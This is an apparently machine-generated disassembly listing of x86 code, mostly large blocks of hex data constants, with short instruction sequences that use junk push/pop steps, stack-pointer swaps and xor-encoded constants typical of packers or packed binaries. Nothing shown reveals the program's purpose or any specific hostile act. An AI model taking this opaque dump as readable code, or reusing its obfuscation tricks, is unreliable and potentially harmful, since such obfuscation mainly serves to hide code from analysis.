		dd 4E77ADF3h, 767DDB06h, 6C2F6855h, 0EC76536Bh,	82D29F7h
		dd 0E9D0803h, 255E4B4Ch, 2E746176h, 82D29F8h, 0B8DFF7FEh
		dd 3D080FCFh, 0E21282A4h, 0DA1779DAh, 824D4A09h, 1CBA9DB5h
		dd 0E1B330FBh, 0E8AE2BF6h, 465F24EFh, 0C1F263DBh, 759B14BAh
		dd 6DD88554h, 61B3CDEh,	0EFAA7D1Dh, 4C12EE8h, 61720089h
		dd 7B1A5340h, 0D7C4915Ch, 2D005B91h, 425A6108h,	38D65h
		dd 0DCCF0000h, 116C73Eh, 0FE19B936h, 0F6E1B633h, 0ECEBAE2Bh
		dd 0E6F1A421h, 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h
		dd 54513CF4h, 4C18159h,	83000000h, 0C8704E9h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		push	4F161B5Ch
		pop	esi
		inc	esi
		shr	esi, 6
		xor	esi, 6919CDAh
		mov	eax, esi
		pop	esi
		push	4872h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	eax
		xor	dword ptr [esp], 9ED64BFh
		pop	dword ptr [ecx+8]
		push	eax
		mov	eax, 8
		add	eax, ecx
		xor	dword ptr [eax], 9ED64BFh
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_58941B
; ---------------------------------------------------------------------------
		dw 83B0h
		dd 0D2330388h, 0CE89B8B2h, 0C50307ADh, 9D6FE0FFh, 0E4C26E59h
		dd 0C3FC6D79h, 0C26F29E2h, 33155B50h, 570F7C53h, 6D6B44FBh
		dd 1A806653h, 23E9495Ch, 8F000000h, 6A1CB3h, 7 dup(0)
		dd 0C6E90000h, 6800000Ch, 7ADD0EFh, 0FB7A54E9h,	0D20968FFh
		dd 4AE907ADh, 68FFFB7Ah, 7ADD3B6h, 0FB7A40E9h, 0D4DA68FFh
		dd 36E907ADh, 68FFFB7Ah, 7ADD7C0h, 0FB7A2CE9h, 0D94E68FFh
		dd 22E907ADh, 68FFFB7Ah, 7ADDA6Eh, 0FB7A18E9h, 48D611FFh
		dd 22F4E639h, 0FE08C013h, 0D52F9CEFh, 0AB7773C6h, 0B7885B9Ch
		dd 8DE0EF0Bh, 65B8C75Fh, 3E91A076h, 306C7B8Dh, 11BCE64Fh
		dd 53EE7A13h, 12E4D5ACh, 0D05A9320h, 0B960AC1h,	6A2275DEh
		dd 0F2727A0Dh, 1A7D2100h, 92466ABDh, 0D8059284h, 9C924C3Eh
		dd 4761750Eh, 5FFE2E73h, 2A0AE6D0h, 0C3000000h,	0B5ED56A1h
		dd 0F5726542h, 0DFC15475h, 752E97C4h, 377A0D48h, 0B8E6C5B7h
		dd 0F06ABD3Ch, 8DBDC4D6h, 99E6D042h, 104h, 5D8AA152h, 0E001D1C3h
		dd 0C1EE38B1h, 63A7C6A7h, 0C2E3507Eh, 88D10D9Ah, 0FECEC05Ah
		dd 8A43D0C2h, 437C268Fh, 0F12E7265h, 6C3C2EF8h,	74863730h
		dd 8476B282h, 4177C6F7h, 0C56A79B5h, 726548BEh,	0FD0C1ECFh
		dd 0F5E731AAh, 0D8059C04h, 0D64B46Fh, 7087F87Ah, 4260AB7Dh
		dd 866ABD19h, 0BA6660C1h, 870721F3h, 1B853C4Bh,	0CD186390h
		dd 0BC983E64h, 0C95D8D6Ah, 6DED07D7h, 48F6CB4Ch, 0C8DF7267h
		dd 93E30416h, 13CFE613h, 8443E547h, 0F22E0BC9h,	0C85290E3h
		dd 0B955A0B2h, 8C67FF2Dh, 0A9Eh, 0E1DFBE6h, 0E8F703BBh
		dd 0C4D32395h, 9BAA7471h, 71809A48h, 5C8AB330h,	6C60B3C2h
		dd 85388B9Ah, 0D8116473h, 22033F4Eh, 1312E9B9h,	7F26C17Ah
		dd 0E00DE9D5h, 0E50610C9h, 0CB0219A0h, 0FCED1C3Dh, 0AF65106Ah
		dd 205CD1FDh, 0C15FD9F3h, 0F1998AFEh, 0ADBC08F5h, 0B2D3E076h
		dd 329BE66Dh, 7265BB70h, 8699BA3Ah, 47742F71h, 0D48C5DEh
		dd 7567E77Ah, 0BD3C0896h, 3486A06Ah, 0D0423D6Dh, 0DD49E6h
		dd 0D5020000h, 9AE512E4h, 65427131h, 98B93972h,	0FB64AF70h
		dd 726542A7h, 33628303h, 0B8796BB7h, 0A4222FA1h, 5C98685Ah
		dd 0F8799A6Ah, 7265478Bh, 303FC902h, 0B4138FA9h, 6C8407BAh
		dd 8EAF7B73h, 0EDDF6E5Fh, 0FAEBDD19h, 0B7CEFBA6h, 2FFFF105h
		dd 0E142AB0Eh, 0CB7A0CB5h, 1B853C4Bh, 0AF186390h, 6ABC69F3h
		dd 0B5437AB7h, 8CF55879h, 72671624h, 0DEF522A2h, 0D2E916E0h
		dd 0AAEF101Eh, 1BD26B57h, 9B8D9F50h, 0CD9D8FCBh, 1D0F19D4h
		dd 65FB114Dh, 3E2DB9E9h, 984CBA6h, 1DCC0000h, 29A1F403h
		dd 457BCEDDh, 6A57AAB9h, 0B02E8190h, 0CD165766h, 9DAC7674h
		dd 7584924Ah, 4E5DAB22h, 2938C2FBh, 0FFA30CEDh,	0AB7A1313h
		dd 0E9D56910h, 32ABFE0Dh, 85A1BBE8h, 35872CBEh,	2D69BD2Fh
		dd 0A190C70Ch, 42B5ED56h, 75F57265h, 95B6407Ch,	0B1A37566h
		dd 5261AB24h, 0E9E1059Bh, 4BB4E11Dh, 7A0D429Ch,	0A87E6E85h
		dd 8AB73787h, 90B17D73h, 18E2DB68h, 0D17D4EBh, 0E52A4B1Bh
		dd 0DDCF5992h, 4165CAFEh, 0C1D971FEh, 2332C4F5h, 1B0D1FD0h
		dd 391F633Ch, 6B3F35D7h, 2F73DC27h, 7BD7391Fh, 32ABDAFBh
		dd 5586D9E8h, 0F610D1C3h, 582ADB8Dh, 0DABBB7D7h, 3169775Dh
		dd 6B2EAFD0h, 4FD738DAh, 9AE5ADFDh, 38DA7131h, 0C0B939D7h
		dd 0A8D7F802h, 83D6E537h, 0DDCEC04Ah, 52BBE8C3h, 0DEE0F445h
		dd 50DE124Fh, 524E0514h, 0DB132A57h, 0BECD5D4Fh, 8DB65B57h
		dd 5BBEDF1Bh, 465CC510h, 64CF9076h, 142C3E4h, 0EBD7387Dh
		dd 59A796Bh, 0A5C7E86Fh, 42723F8Bh, 2889A50Bh, 5EBFB90Eh
		dd 0AFD0BC6Bh, 4E472h, 7C4DB00h, 0A1C9DCFDh, 42B5ED56h
		dd 75F57265h, 379E5654h, 0C1558569h, 0C20D5885h, 65424959h
		dd 0E5E16172h, 0BFAA590Bh, 8203246Eh, 7A0E2B35h, 0CDCC1F9Fh
		dd 0A76B0AB3h, 88A91B44h, 8DBA3007h, 643F6147h,	1F83EC37h
		dd 8B8DEE17h, 34990F0Bh, 0FE5CA140h, 4E117ADDh,	0D6959648h
		dd 2D736456h, 9DE04976h, 0C38DEE62h, 0CEFF1643h, 5BC40F3Ch
		dd 7E9DEA47h, 7DC2E363h, 5167B12Ah, 0D12D3BBDh,	0D717F28Ah
		dd 1F000007h, 0F44756A0h, 0CE2130FAh, 0AAFD0C1Ah, 81D4E33Dh
		dd 69AAB945h, 11DC97Ah,	0D92D9FF2h, 0B24477CAh,	8D9F50A3h
		dd 0F861427Eh, 7A1315AAh, 0D5BE6500h, 0EAB821E4h, 0C0726542h
		dd 84C04A83h, 88C45E8Bh, 218AD596h, 72654281h, 5988A929h
		dd 4327D767h, 61E9FAC6h, 0F8751625h, 0AE000000h, 36772C71h
		dd 3AC4FC13h, 0D9391B19h, 313C5DCh, 0BBE75011h,	0EF726542h
		dd 1212336Fh, 37C9F9B8h, 7BD5DF28h, 8E000000h, 0B5ED56A1h
		dd 0F5726542h, 0DCC15475h, 6E319AC7h, 36726542h, 41839AF6h
		dd 467800D8h, 0B6F2C2B4h, 0B0C7887Ah, 6AF7E933h, 4B6CA876h
		dd 4A59A31Ch, 4234C6F7h, 826A6781h, 66AA70Fh, 534E52E5h
		dd 2AA2BD26h, 2827A0Eh,	7C4E6810h, 0CF3F0535h, 2411E6h
		dd 637A0000h, 0D1A39F6Bh, 0CF6D7053h, 0A19EB1D2h, 42B5ED56h
		dd 75F57265h, 121D754h,	0A9C00000h, 20F0E23Ch, 2F71ECFFh
		dd 6948CAB4h, 0DC187EB9h, 992D46AFh, 0DF1F7A0Dh, 874F0DAAh
		dd 94AAE60Dh, 254DD7E0h, 0B3502BC3h, 0FB000006h, 0D02332CCh
		dd 0AAFD0C1Eh, 86D9E836h, 5DB0BF59h, 45869561h,	0DD39A59Eh
		dd 0B5417BCEh, 8E9853A6h, 69B32C7Fh, 0D43D1E5Ah, 7A1316CEh
		dd 719A41DCh, 0F600BA2Ch, 0CABB79BAh, 377A50EAh, 0DF283C07h
		dd 8013h, 2C71CC00h, 0FF783677h, 70318923h, 0DF283C40h
		dd 6C4Ch, 16AB500h, 72654EA1h, 338D8909h, 37F0D235h, 0A11B2E4Fh
		dd 0A6C7518Ah, 0EC198A13h, 9653E6D5h, 6557508Ch, 0AECF9F91h
		dd 0FBE37937h, 0FE494961h, 42584AB3h, 0D2527265h, 65421B87h
		dd 0EE0F8F72h, 654A386Dh, 0F295672h, 859AA2F3h,	66B02DC3h
		dd 4768A474h, 28BAAEE3h, 507E98DFh, 0BBCDF72Fh,	0B5A7736Fh
		dd 4B88A9E5h, 0FFFFFE74h, 5C8AA104h, 8F0EA1C2h,	1ED0E714h
		dd 0A98A1A0Ch, 37F846AFh, 8B02235Fh, 35CF8FCDh,	0D7061D65h
		dd 5E7F4F41h, 2821CAFAh, 247D6DFh, 0D58F0000h, 8E1B0DE9h
		dd 6CD5C751h, 936D5A71h, 0B0B0D1A1h, 4F81981Ah,	0DCFDCDBFh
		dd 8BF431ADh, 72654217h, 8F695693h, 81081753h, 4AB3726Ah
		dd 72654258h, 7596D252h, 8C7E9846h, 719E059Bh, 66B2C757h
		dd 0C4E5FF86h, 388BF861h, 83CE7A0Eh, 0BE00881Ah, 0A9A2226Ah
		dd 76C6E737h, 4B7704F6h, 0B330BDAFh, 760E7769h,	7A7F4F24h
		dd 80A16D63h, 2E9C2A80h, 738DD414h, 3FCE895h, 7E4E40CAh
		dd 9CFB1542h, 731D39DDh, 0CEF169C4h, 89AF2AD2h,	12D02368h
		dd 67371608h, 2F6ABD6Eh, 7216139h, 0B3DDE040h, 8F675592h
		dd 7091CD9Dh, 2BC8541h,	0FA3606F8h, 891982CDh, 0E6ABD79h
		dd 0BD78FDA5h, 132DAD6Ah, 0DA2D7293h, 2F2012ECh, 0C20D3A71h
		dd 0BD794959h, 0B4E1616Ah, 0BD79574Bh, 0B2D3536Ah, 8011E64Fh
		dd 0C3437265h, 4BA3FDB4h, 0C3938591h, 0A6F15A87h, 0EE6ABD8Dh
		dd 59D7C6Eh, 0C65B6D59h, 800DFF19h, 3DC9BB4Dh, 9EC4DFEBh
		dd 406012A8h, 0C4D33C69h, 0D0631573h, 0FDEE4150h, 0F7E7FE2Bh
		dd 4DDA0223h, 0C47B8A9Ch, 2F98C5DCh, 5B6D6768h,	347FAC2Ch
		dd 1D17D7CBh, 3253D34Ch, 17732B0Ah, 1B354C1Dh, 62D2028Fh
		dd 27DE0570h, 97000000h, 47742F71h, 0D48C5DEh, 0FBDD47Ah
		dd 143505F7h, 735244C4h, 6ABD3C2Bh, 4A57637Dh, 0E6D0421Ah
		dd 0C126h, 0E4D5DF00h, 57932012h, 5A879ECBh, 8941CEC0h
		dd 9B48417Dh, 9EBF8F81h, 26F0E976h, 20EEE2F9h, 914AD7FFh
		dd 0B0D37887h, 0A9726547h, 3DADF55Eh, 81EA7265h, 72653D21h
		dd 0B2EF0989h, 84B1ED3Bh, 653D871Bh, 82A32372h,	63909A53h
		dd 3CF3AF18h, 37B77265h, 861AD116h, 0EAD7EE1Bh,	554E1E10h
		dd 0D0A09264h, 4BE34CAFh, 777A0FEAh, 37B3CAF7h,	5D89DCEBh
		dd 0DECFABC1h, 38D02540h, 3CD5Dh, 4CAA1500h, 26F0EA3Dh
		dd 20CC417h, 0D923A0F3h, 0AF4B77CAh, 0BB845FA0h, 91E4F30Fh
		dd 69BCCB5Bh, 4295A472h, 34707F89h, 19B8EA53h, 57F27A13h
		dd 0DE9D5B0h, 626077FEh, 0D8229F98h, 0C55788B7h, 8AA17FB6h
		dd 46D3C553h, 24458197h, 4032C4F5h, 0E1F03AB3h,	12E4D5AAh
		dd 96485F20h, 0BB346384h, 0F5AB6271h, 7F1881AEh, 157A0D6Ah
		dd 0DAC4A395h, 0E96ABD1Ah, 0A22F21FDh, 33EDDF29h, 2166D3Dh
		dd 9FCFD2E8h, 0ABE6D060h, 49h, 3BCBFD14h, 45587949h, 47742F71h
		dd 6F6BBD30h, 0D4186471h, 0B71A3BAAh, 0D5F554Eh, 2617577Ah
		dd 6588C37Fh, 0E0BFB1EDh, 6ABDAEBEh, 0B7FAD0EAh, 0E6CFD087h
		dd 10393h, 0F7E5FC00h, 305D2D1Fh, 0BDBADBC7h, 2E4FCF6Ah
		dd 12E4D51Bh, 0B1DCEE5h, 8935C2EAh, 0D426406Dh,	56FB7399h
		dd 0FF14A09Ah, 0ED2A8803h, 614B57C0h, 0DF5F7265h, 0BED596BEh
		dd 7B8B3D0Ch, 0EABD4D3Fh, 0E0848FD6h, 5D8CADE9h, 1BA89A6Ch
		dd 142B58A2h, 0CA5C90D7h, 0DD0F9C8Eh, 4B875749h, 4340E52Ah
		dd 167265B0h, 4537C3FFh, 0BAF600B8h, 0A67E248Dh, 0AC2C7265h
		dd 99635C8Bh, 8F67556Ch, 0E5D6296Eh, 70302113h,	0C8A30C39h
		dd 747A0DB4h, 722EE5F4h, 97C5DD46h, 65E56ABDh, 0B3A57F6Ch
		dd 117AA7E3h, 72684817h, 0A7F21F9Fh, 960BEF8Dh,	0B3E0CC7Bh
		dd 1337584Ah, 0B1D25263h, 0ABBA4482h, 7A906A58h, 2DB86632h
		dd 3F22FD95h, 87000002h, 5CAFBE58h, 36899862h, 12657482h
		dd 0E93C4BD5h, 0D11221FDh, 69B53112h, 41D5075Ah, 1AECDF32h
		dd 0F507B80Bh, 60C9AAE6h, 7A131B42h, 0D526CD68h, 0ABFE0DE9h
		dd 0A2D9E832h, 47742F71h, 2EF7E5FCh, 6542DDC5h,	114DCD72h
		dd 5B8ABE15h, 728B1C9h,	0DE81D86h, 1D0F8F7Ah, 0BDDC603Eh
		dd 9D69636Ah, 59AF1EABh, 5466FE67h, 0B9112B3Fh,	0CFA1C8F8h
		dd 4963AEE6h, 0A19956F4h, 0EDB50030h, 0DB6ABDDBh, 302B6386h
		dd 3E7B955Bh, 0B4847680h, 0CD1A5778h, 0D3000000h, 0E512E4D5h
		dd 1A0C1ACEh, 7401294Ah, 0F9BAAC76h, 8DFDF0DFh,	66FCCF9h
		dd 7265479Ch, 31528E0Eh, 654BD3B0h, 0F701BA72h,	0DE657FCAh
		dd 77057B89h, 0A581216Ch, 0A9297265h, 0A5BC4388h, 30F1E333h
		dd 65A5DBC7h, 134FCF72h, 0AC3F2h, 28831D0Eh, 0B3D992FBh
		dd 0E3637A0Dh, 28831DD4h, 433792FBh, 63AE7268h,	12E8A8FAh
		dd 61820263h, 4A649111h, 1BF8AC5Bh, 0FC5F80A9h,	0E1DF9E5h
		dd 0DDF30FBBh, 2DB8A2B1h, 1F7B56EEh, 67000001h,	3C8F9E78h
		dd 16697882h, 0F24554A2h, 0C91C2BF5h, 0B1F2011Dh, 49D51132h
		dd 21F5E73Ah, 0FA0CBF12h, 0D52798EBh, 40A98AC6h, 7A131C62h
		dd 0A106AD48h, 0CAC35D8Ah, 0B7E60711h, 8DE0EF0Bh, 84BBCA5Ch
		dd 7ABF87A1h, 0A19D6961h, 602479Bh, 0BA940BF7h,	0C9F8197Dh
		dd 53140610h, 1C85803Ch, 72661E86h, 7668A424h, 655685A6h
		dd 0B21B6693h, 72661EF0h, 0D4193ABAh, 0FB28831Dh, 13ED6292h
		dd 78ACEC7Ah, 1D85EEC7h, 8D6AB8C4h, 67D8110Dh, 0B5CCF935h
		dd 2BFBED09h, 6455E20Ah, 0BF308392h, 0D89C7B6Dh, 97D86A9Bh
		dd 50DDCF2Bh, 0E9B8D9Fh, 0D57546D0h, 0DED9AEC5h, 0BC782A93h
		dd 0B232FD07h, 0D4F501B9h, 0FFF0C6D4h, 0B9AB7D70h, 0BC138FF8h
		dd 1797FD07h, 3D909FDBh, 364D7A8Ch, 2A527385h, 7CE5209Dh
		dd 0FD07BC26h, 0D6C80484h, 8F819D49h, 413AC402h, 0FB887A84h
		dd 754537C3h, 3241594Fh, 0DCEAC062h, 830A19E3h,	0BCD3CF38h
		dd 57D7FD07h, 44D60736h, 87752h, 0A1B00000h, 0A2C35D8Ah
		dd 0EAD50083h, 5C8D1A0Ch, 904BD8CAh, 0D5079486h, 4C24F41h
		dd 4F7B08FAh, 0B734C1B3h, 0FAEE7B6Dh, 3DAD3A2Ch, 5179F7E9h
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	3768242Ch, 89000059h
		dd 8950242Ch, 405E0h, 42D0000h,	87000000h, 895C2404h, 95682404h
		dd 89000037h, 0C4B9240Ch, 8907ADCFh, 0A66859CDh, 8900005Ah
		dd 4812424h, 424h, 99685800h, 89000066h, 8BA2414h, 1000000h
		dd 5A2A89C2h, 582434FFh, 4C481h, 2C8B0000h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FB6DA4E9h, 0A56B12FFh
		dd 2D0F671Bh, 5D3DFC38h, 0DBB2B801h, 0C50307ADh, 13CCE0FFh
		dd 1D6132h, 1161742Eh, 0C08B6541h, 0D3816653h, 0E85B38E2h
		dd 14h,	0BA9FDD58h, 1110EFh, 3EA8132Dh,	0BC5402CAh, 0FB707CD6h
		dd 0A383D281h, 835A7C04h, 0A827F9BDh, 9750007h,	605BD83h
		dd 740007A8h, 8B535019h, 3FCB8C0h, 85890000h, 7A82585h
		dd 0B0239D8Dh, 0D3FF07AAh, 0BD83585Bh, 7A80605h, 50177400h
		dd 3FCB853h, 85890000h,	7A82585h, 0AD129D8Dh, 0D3FF07AAh
		dd 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0DCE2A3C3h, 810FFC3Bh, 2,	0AE904B6h, 34000000h
		dd 3E4396E5h, 0A8573F33h, 66C08B72h, 83DFEFBBh,	0A806A5BDh
		dd 840F0107h, 86h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 54C35545h, 3404C1E8h,	2AD1BD83h, 0F0007A8h
		dd 5985h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 65C28123h, 83558B18h, 0A807CDBDh
		dd 840F0007h, 0D1h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 16C35747h, 880F70B3h,	6, 8E0Fh, 35E90000h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0B00AC356h, 5FC2F8E0h,	7E990h
		dd 0A7800000h, 680A8222h, 54h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 5E86D8Ch, 0C0000000h
		dd 250CB52Ch, 6800Fh, 870F0000h, 0
		dd 56006A5Ah, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0AA97B262h, 97F561AEh, 13E9C7h, 551E0000h
		dd 69AC1311h, 0A690E586h, 69CD28FAh, 6EC261A5h,	0BE878AF2h
		dd 2B352E6Bh, 42DA91B5h, 6132E0B5h, 0C86AB3EDh,	0C0361CF1h
		dd 583638F1h, 1320EB5h,	8ACBC4E5h, 0A9B6A0EAh, 0BC44438h
		dd 4158E71Eh, 413198E4h, 181238B5h, 0DBB4576h, 5B30A91h
		dd 412F0391h, 107383B5h, 0C7742076h, 334927C1h,	0C152FEBAh
		dd 91CDE047h, 0A9601CDFh, 41320EB6h, 1BF15D95h,	4516D73Ch
		dd 45168534h, 4132E0AFh, 0D3F122F7h, 3382349Fh,	0C0546813h
		dd 4EF5987Eh, 41320A37h, 413A6AB5h, 0FD8FC1B5h,	534FA05Ch
		dd 98B98A63h, 4136845Ch, 103276B5h, 41320D5Dh, 826B27B5h
		dd 657E0AECh, 657640B1h, 4132F4B1h, 826331B5h, 0CA54587Fh
		dd 20EC977Bh, 4132E6E0h, 0C06F07B5h, 0ECED8658h, 988DCEB2h
		dd 0A963E0DFh, 413270B6h, 18F16195h, 4516503Ch,	45164A34h
		dd 413207A1h, 0CAF1D2F4h, 41314ABAh, 0FE3DE0B5h, 0B4F2FB6Dh
		dd 8D828225h, 0CA625083h, 0FE3D9E62h, 0D33086Ah, 0C73D7D91h
		dd 4132C1B8h, 413409D5h, 917070B5h, 4FF7C8D1h, 415844D4h
		dd 4131E6E5h, 191207B5h, 5BBDB76h, 5B3C591h, 4128E491h
		dd 117270B5h, 88C3FA76h, 0AA6BCDCBh, 433E0B4Dh,	0A3B307B5h
		dd 55A55921h, 4158C93Eh, 413108E3h, 1F1270B5h, 35BB6676h
		dd 5B31891h, 412A0A91h,	177407B5h, 0A999F376h, 0FB54714Bh
		dd 0CA546940h, 9B9166Ch, 4123D049h, 0E3381CB5h,	666712A3h
		dd 0A7A15285h, 28562467h, 4E78E71Bh, 0F9693102h, 413270B4h
		dd 4131BCBAh, 0F63D1CB5h, 4CDA9F67h, 0FB3207B5h, 52AED067h
		dd 9741613Ch, 0E46B2Ch,	4126CAD3h, 3D8968EFh, 0D07AF665h
		dd 0A9610EDFh, 413207B6h, 1AF1D895h, 45169D3Ch,	4516A434h
		dd 413270AEh, 0ABF16BF6h, 0B3F9AA5Ch, 0F23B9E5Bh, 98BE616Ah
		dd 134D5934h, 80C48332h, 63B7EFB1h, 2B3270B4h, 42DA68B5h
		dd 61321CB5h, 0C86ACDEDh, 0C03623F1h, 5736A7F1h, 132C1B5h
		dd 62DF23E5h, 78B22927h, 15B737DDh, 27321CB4h, 2127430Fh
		dd 0FC2CDD34h, 44DBF069h, 0A932C1B5h, 6CA54B98h, 404BFBD4h
		dd 0A96438DFh, 41321CB6h, 1FF15095h, 4516733Ch,	4516C734h
		dd 4132C1A3h, 9AF1B6F3h, 0C0CB0EC3h, 4132384Ah,	51B01335h
		dd 2B320EB4h, 42DA52B5h, 613283B5h, 0C86F02E8h,	0C036C4D9h
		dd 583654F1h, 43238B5h,	5BD0DFE0h, 0D2BA7D67h, 0E1640D0Fh
		dd 1789E5E4h, 91B70631h, 40354D68h, 2B3270B5h, 42DA69B5h
		dd 61321CB5h, 0C86BCDECh, 0C03623F9h, 5D36A7F1h, 32C1B5h
		dd 0D2AA23E4h, 0F5A8370Eh, 27F939A6h, 0A8D1310Fh, 41320E61h
		dd 0A96107DFh, 413283B6h, 1AF19A95h, 4516BC3Ch,	45163434h
		dd 413238A8h, 2BF14FF6h, 7F775423h, 0EEEC5268h,	83B3E32Ah
		dd 557E8950h, 414F09D4h, 415870B5h, 4131D0E5h, 19121CB5h
		dd 5BB5676h, 5B30391h, 41288791h, 1172C1B5h, 0EC506376h
		dd 0BF2F136Ah, 4158614Dh, 4131F4E2h, 1E120EB5h,	3DBB5876h
		dd 5B38791h, 4126C591h,	1675E0B5h, 0B2B39976h, 517F0BB5h
		dd 4A4B9FD3h, 6DB6014Ah, 4E3207B5h, 0C4F5520Ah,	469F1C65h
		dd 4132E0B4h, 0A96370DFh, 413238B6h, 18F14595h,	4516423Ch
		dd 45164334h, 413283A2h, 81F190F4h, 913E542h, 0A96470DFh
		dd 413238B6h, 1FF14295h, 45167A3Ch, 45164334h, 413283AFh
		dd 59F197F3h, 0F338AC7Eh, 90B88F3Ah, 3A44F20Ch,	0A6B791B8h
		dd 0CC35A356h, 0ECD3F408h, 35CAB8B2h, 903DF1B2h, 0B4D9A77Ch
		dd 0A96270DFh, 413238B6h, 19F14495h, 45164A3Ch,	45164334h
		dd 413283ADh, 9F191F5h,	0D7B5D8DBh, 41584F06h, 4131D0E7h
		dd 1B121CB5h, 15BB5476h, 5B30391h, 412E8791h, 1370C1B5h
		dd 95A3BA76h, 14414562h, 1B62E821h, 4797A136h, 4E33091Dh
		dd 41327C31h, 1732E9B5h, 4132C25Dh, 826CC0B5h, 6546F9EBh
		dd 6576B9B1h, 41320BB1h, 826448B5h, 0AF31EDBh, 4132895Dh
		dd 70505EB5h, 989DA862h, 27FC416Eh, 0C269E03Eh,	0E918CD08h
		dd 0C43D0EB2h, 41320789h, 8C102D3h, 0FE3D90FBh,	0FCB1BB66h
		dd 469A7778h, 0BB637B5h, 2B321CB5h, 42DA5DB5h, 613207B5h
		dd 0C86940EEh, 0C036E5E9h, 5736C4F1h, 23270B5h,	0E4DAFBE6h
		dd 58897A8Fh, 0E1EC8E82h, 4132D75Ch, 41386AB5h,	0DAEDC1B5h
		dd 95686FD2h, 8F6B0A33h, 4139B0BAh, 47DB1CB5h, 9E320EB5h
		dd 0A91D4FE2h, 0E48F0067h, 403569B3h, 41A265BAh, 0C03D70B5h
		dd 413238B9h, 413495BAh, 0C23D0EB5h, 413207B5h,	1132E9E8h
		dd 4132C25Dh, 826AC0B5h, 6576F9EDh, 6576B9B1h, 413204B1h
		dd 82624EB5h, 1FA8161Fh, 7CE90205h, 823D5429h, 8DE061D3h
		dd 416D9997h, 415838B5h, 4131F4E3h, 1F120EB5h, 35BB5976h
		dd 5B38791h, 4129C591h,	1774E0B5h, 0E5BA7E76h, 9F0F17B6h
		dd 44B71332h, 27320EB5h, 344CD34h, 412A0BBAh, 52DBC1B5h
		dd 0B332E0B5h, 3015CCE6h, 33F1D37Fh, 51988572h,	50B9DCB7h
		dd 126FE13Ch, 1FD803E7h, 0A8FD9BEEh, 4132E0B0h,	1BA5524Fh
		dd 58FB539h, 0CC35B16Bh, 0ECD1BA38h, 1D2FBFB2h,	0C401F88Fh
		dd 469AC1FCh, 0A8F32F9Eh, 44F20CB7h, 0B791B83Ah, 35A356A6h
		dd 0D3F408CCh, 0CAB8B2ECh, 3DF1B235h, 5E98390h,	0BD83A4F3h
		dd 7ADDDD0h, 8D0D7400h,	0A84E4D8Dh, 1B807h, 0E1FF0000h
		dd 57006A40h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 4F56DE6Ah, 5B543FBAh, 7E9CB7Dh, 9000000h
		dd 269204F7h, 0B70FF226h, 52006AD2h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 81330A4Fh
		dd 13CDBED3h, 0DAB70F31h, 6A2DE883h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 7C46C350h
		dd 2ACE20BAh, 81C08B54h, 0AEFCBFDBh, 0F9BD8320h, 7A827h
		dd 0BD830975h, 7A80605h, 50197400h, 0B8C08B53h,	3FCh, 0ECD8589h
		dd 9D8D07A8h, 7AAB08Ah,	585BD3FFh, 605BD83h, 740007A8h
		dd 0B8535017h, 3FCh, 0ECD8589h,	9D8D07A8h, 7AAAD2Bh, 585BD3FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4C35747h
		dd 8B0FD3B3h, 3, 6A68C780h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 380DC356h, 15D4BF5Ch
		dd 14E955A6h, 2D000000h, 59481168h, 16A136ECh, 3EDCF751h
		dd 90A6D696h, 8B05C6B1h, 26E9C0h, 0F7660000h, 9E01754Fh
		dd 7C80h, 7 dup(0)
		dd 0E27E9h, 0E6A86800h,	58E907ADh, 68FFFA9Ah, 7ADE7A8h
		dd 0FA9A4EE9h, 0E98F68FFh, 44E907ADh, 68FFFA9Ah, 7ADEAB1h
		dd 0FA9A3AE9h, 0EC5568FFh, 30E907ADh, 68FFFA9Ah, 7ADEF28h
		dd 0FA9A26E9h, 0F0E868FFh, 1CE907ADh, 68FFFA9Ah, 7ADF1BFh
		dd 0FA9A12E9h, 617627FFh, 0A6B1634Ch, 0E7F0A891h, 2A2DE9D2h
		dd 6E692C15h, 277E4B59h, 654E6374h, 0A790A5B2h,	0E7D0E5F2h
		dd 2B0B2037h, 8B10468Ch, 7C16CBABh, 17C7CEh, 0F1E6B835h
		dd 0F12532DCh, 0A0DCB04h, 5B5A723Fh, 198D415h, 7323DADBh
		dd 0ABCC9964h, 981C56E0h, 1E37DB01h, 254307B3h,	2796E3F0h
		dd 94000000h, 0D8C51106h, 1765D92h, 915C63DBh, 176CD07h
		dd 64CFE8DBh, 0FFFBF2B8h, 0DB47E3h, 0F32C0000h,	9F6C3720h
		dd 72ABA187h, 7FC5B2A5h, 0D3597049h, 4D30484Fh,	489D8A8Dh
		dd 5970CC02h, 0B3CBD2D3h, 9DBA59D6h, 928555D2h,	8F884AC7h
		dd 751B847Ah, 0A9E2D359h, 0F0D3EBECh, 2B14292Eh, 63A16C6Bh
		dd 0EF3522F2h, 0DB019B3Ah, 1CCB8940h, 713C5D7Ah, 0C46E83A4h
		dd 5D968353h, 282FEDBAh, 0A46F905Dh, 7AC0BFD7h,	0E2AC4B63h
